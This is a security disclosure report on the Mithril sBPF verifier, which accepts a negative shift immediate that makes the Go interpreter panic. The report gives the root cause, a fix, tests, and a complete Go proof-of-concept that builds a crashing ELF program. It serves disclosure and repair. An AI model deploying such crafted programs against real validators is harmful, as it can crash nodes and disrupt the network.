Verifier accepts a negative shift immediate that panics the interpreter

[caomingpei]

Overview

Mithril static verifier accepts ARSH64_IMM with an immediate of -1.
The official interpreter then uses that signed value as a Go shift count and
panics with runtime error: negative shift amount.

Minimal program:

mov64 r0, 1
arsh64 r0, -1
exit

b7 00 00 00 01 00 00 00
c7 00 00 00 ff ff ff ff
95 00 00 00 00 00 00 00

Configuration:

sBPF version:        V0
execution:           interpreter
instruction budget: 1,000
heap:                32,768 bytes
input:               1,024 bytes
ELF path:            ValidateUpgradeableLoaderProgram -> loader.Load
syscalls:            normal deployment registry; none invoked by the program

Observed result:

Sanity ELF:    deployment accepted, verification accepted, Ok(1)
Candidate ELF: deployment accepted, verification accepted,
               panic("runtime error: negative shift amount")

The candidate is not passed directly to an unverified interpreter. The
standalone reproducer builds a V0 ELF in memory, passes it through Mithril's
exported upgradeable-loader deployment validator and official ELF loader,
calls Program.Verify(), and calls Interpreter.Run() only after verification
succeeds. No prebuilt ELF, project-local fixture, FFI shim, or custom loader is
used.

This confirms a component-reachable verifier/process-safety defect. It does not
claim that a complete signed deployment transaction or validator replay was
executed, or that the affected V0 path is currently exploitable on a live
network.

Tested Version

Mithril:   6f31241ba6c48a37316ea23cc947bde395e0722f (v0.3.0)
Anza sBPF: db4f0681951171ee97988989695ceef67fe3dbb3 (v0.22.0, reference verifier)
Host:      Linux amd64
Go:        go1.25.7

Root Cause

Mithril preserves the instruction immediate as a signed int32 in
Slot.Imm().
Opcode 0xc7 is assigned to verifyCheckSh64 in the
checkTable,
but that verifier case rejects only ins.Imm() >= 64:

case verifyCheckSh64:
    if ins.Imm() >= 64 {
        return fmt.Errorf("sh overflow")
    }

The missing lower-bound check allows every negative immediate, including
-1, to pass
Program.Verify().
The OpArsh64Imm handler subsequently evaluates:

uint64(int64(r[ins.Dst()]) >> ins.Imm())

at
interpreter.go:865-867.
Go panics when a runtime shift count is negative.

Interpreter.Run warns that code which does not pass static verification may
panic
(interpreter.go:199-202);
the candidate violates the stronger verifier/interpreter contract because it
does pass static verification.

The component path uses the same verifier. Mithril's exported deployment
validator constructs the feature-aware loader, loads the ELF, and calls
Program.Verify() in
ValidateUpgradeableLoaderProgram.
The normal loaded-program path later constructs an interpreter and calls Run
in
bpf_loader.go:1289-1308.

For comparison, Anza's requisite verifier checks both bounds and rejects
imm < 0 || imm >= width in
check_imm_shift,
including for ARSH64_IMM
(verifier.rs:323-324).

Suggested Fix

Enforce both the lower and upper bounds for every immediate shift opcode:

case verifyCheckSh32:
    imm := ins.Imm()
    if imm < 0 || imm >= 32 {
        return fmt.Errorf("sh overflow")
    }

case verifyCheckSh64:
    imm := ins.Imm()
    if imm < 0 || imm >= 64 {
        return fmt.Errorf("sh overflow")
    }

As defense in depth, the interpreter may also convert an impossible negative
count into ExcInvalidInstr, but that should not replace the verifier fix.

Add table-driven verifier tests for -1, 0, width - 1, and width for all
immediate logical and arithmetic shifts. Also add a deployment regression that
requires an ELF containing this candidate to be rejected before Run() is
called.

Reproduction

Prerequisites: Git and Go 1.25.7. The following commands start from a clean
checkout of the official Mithril repository and create the entire reproducer
from this report:

package main

import (
	"debug/elf"
	"encoding/binary"
	"fmt"

	"github.com/Overclock-Validator/mithril/pkg/cu"
	"github.com/Overclock-Validator/mithril/pkg/features"
	"github.com/Overclock-Validator/mithril/pkg/sbpf"
	sbpfloader "github.com/Overclock-Validator/mithril/pkg/sbpf/loader"
	"github.com/Overclock-Validator/mithril/pkg/sealevel"
)

const (
	elfHeaderSize     = 64
	sectionHeaderSize = 64
	textOffset        = 0x100
	meterLimit        = uint64(1_000)
)

var sanity = []byte{
	0xb7, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, // mov64 r0, 1
	0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // exit
}

var candidate = []byte{
	0xb7, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, // mov64 r0, 1
	0xc7, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, // arsh64 r0, -1
	0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // exit
}

func putSectionHeader(dst []byte, name, typ uint32, flags, addr, off, size, align uint64) {
	binary.LittleEndian.PutUint32(dst[0:4], name)
	binary.LittleEndian.PutUint32(dst[4:8], typ)
	binary.LittleEndian.PutUint64(dst[8:16], flags)
	binary.LittleEndian.PutUint64(dst[16:24], addr)
	binary.LittleEndian.PutUint64(dst[24:32], off)
	binary.LittleEndian.PutUint64(dst[32:40], size)
	binary.LittleEndian.PutUint64(dst[48:56], align)
}

// makeV0ELF creates a complete ELF64 ET_DYN/EM_BPF image containing only
// the ELF header, .text, .shstrtab, and their section headers.
func makeV0ELF(text []byte) []byte {
	shstrtab := []byte("\x00.text\x00.shstrtab\x00")
	shstrtabOffset := textOffset + len(text)
	sectionTableOffset := (shstrtabOffset + len(shstrtab) + 7) &^ 7
	const sectionCount = 3
	buf := make([]byte, sectionTableOffset+sectionCount*sectionHeaderSize)

	copy(buf[0:4], []byte{0x7f, 'E', 'L', 'F'})
	buf[elf.EI_CLASS] = byte(elf.ELFCLASS64)
	buf[elf.EI_DATA] = byte(elf.ELFDATA2LSB)
	buf[elf.EI_VERSION] = byte(elf.EV_CURRENT)
	buf[elf.EI_OSABI] = byte(elf.ELFOSABI_NONE)
	binary.LittleEndian.PutUint16(buf[16:18], uint16(elf.ET_DYN))
	binary.LittleEndian.PutUint16(buf[18:20], uint16(elf.EM_BPF))
	binary.LittleEndian.PutUint32(buf[20:24], uint32(elf.EV_CURRENT))
	binary.LittleEndian.PutUint64(buf[24:32], textOffset) // entrypoint
	binary.LittleEndian.PutUint64(buf[40:48], uint64(sectionTableOffset))
	binary.LittleEndian.PutUint32(buf[48:52], 0) // sBPF V0
	binary.LittleEndian.PutUint16(buf[52:54], elfHeaderSize)
	binary.LittleEndian.PutUint16(buf[54:56], 56) // program-header entry size
	binary.LittleEndian.PutUint16(buf[56:58], 0)  // no program headers
	binary.LittleEndian.PutUint16(buf[58:60], sectionHeaderSize)
	binary.LittleEndian.PutUint16(buf[60:62], sectionCount)
	binary.LittleEndian.PutUint16(buf[62:64], 2) // .shstrtab index

	copy(buf[textOffset:textOffset+len(text)], text)
	copy(buf[shstrtabOffset:shstrtabOffset+len(shstrtab)], shstrtab)
	sectionTable := buf[sectionTableOffset:]
	putSectionHeader(
		sectionTable[sectionHeaderSize:2*sectionHeaderSize],
		1, uint32(elf.SHT_PROGBITS), uint64(elf.SHF_ALLOC|elf.SHF_EXECINSTR),
		textOffset, textOffset, uint64(len(text)), 8,
	)
	putSectionHeader(
		sectionTable[2*sectionHeaderSize:3*sectionHeaderSize],
		7, uint32(elf.SHT_STRTAB), 0,
		0, uint64(shstrtabOffset), uint64(len(shstrtab)), 1,
	)
	return buf
}

func execute(program *sbpf.Program, syscalls sbpf.SyscallRegistry) (uint64, uint64, error) {
	meter := cu.NewComputeMeter(meterLimit)
	vm := sbpf.NewInterpreter(program, &sbpf.VMOpts{
		HeapMax:      32 * 1024,
		Syscalls:     syscalls,
		MaxCU:        int(meterLimit),
		ComputeMeter: &meter,
		Input:        make([]byte, 1024),
	})
	defer vm.Finish()
	return vm.Run()
}

func executeCapturingPanic(program *sbpf.Program, syscalls sbpf.SyscallRegistry) (
	ret uint64, count uint64, err error, panicValue any,
) {
	defer func() { panicValue = recover() }()
	ret, count, err = execute(program, syscalls)
	return
}

func runCase(name string, text []byte, featureSet *features.Features) {
	elfBytes := makeV0ELF(text)
	fmt.Printf("case=%s ", name)
	if err := sealevel.ValidateUpgradeableLoaderProgram(elfBytes, featureSet); err != nil {
		fmt.Printf("deploy_validate=rejected error=%q\n", err)
		return
	}
	fmt.Print("deploy_validate=accepted ")

	syscalls := sbpf.SyscallRegistry(func(hash uint32) (sbpf.Syscall, bool) {
		return sealevel.Syscalls(featureSet, true, hash)
	})
	loader, err := sbpfloader.NewLoaderWithSyscalls(elfBytes, syscalls, true, featureSet)
	if err != nil {
		panic(err)
	}
	program, err := loader.Load()
	if err != nil {
		panic(err)
	}
	if err := program.Verify(); err != nil {
		fmt.Printf("verify=rejected error=%q\n", err)
		return
	}
	fmt.Print("verify=accepted ")

	ret, count, runErr, panicValue := executeCapturingPanic(program, syscalls)
	if panicValue != nil {
		fmt.Printf("execute=panic panic=%q\n", fmt.Sprint(panicValue))
		return
	}
	fmt.Printf("execute=ok r0=%d instruction_count=%d error=%v\n", ret, count, runErr)
}

func main() {
	featureSet := features.NewFeaturesDefault()
	runCase("sanity", sanity, featureSet)
	runCase("negative_shift", candidate, featureSet)
}

Expected output:

case=sanity deploy_validate=accepted verify=accepted execute=ok r0=1 instruction_count=2 error=<nil>
case=negative_shift deploy_validate=accepted verify=accepted execute=panic panic="runtime error: negative shift amount"

The recover is outside the official Interpreter.Run call and exists only to
print the panic deterministically. Removing it terminates the Go process with
the same runtime panic.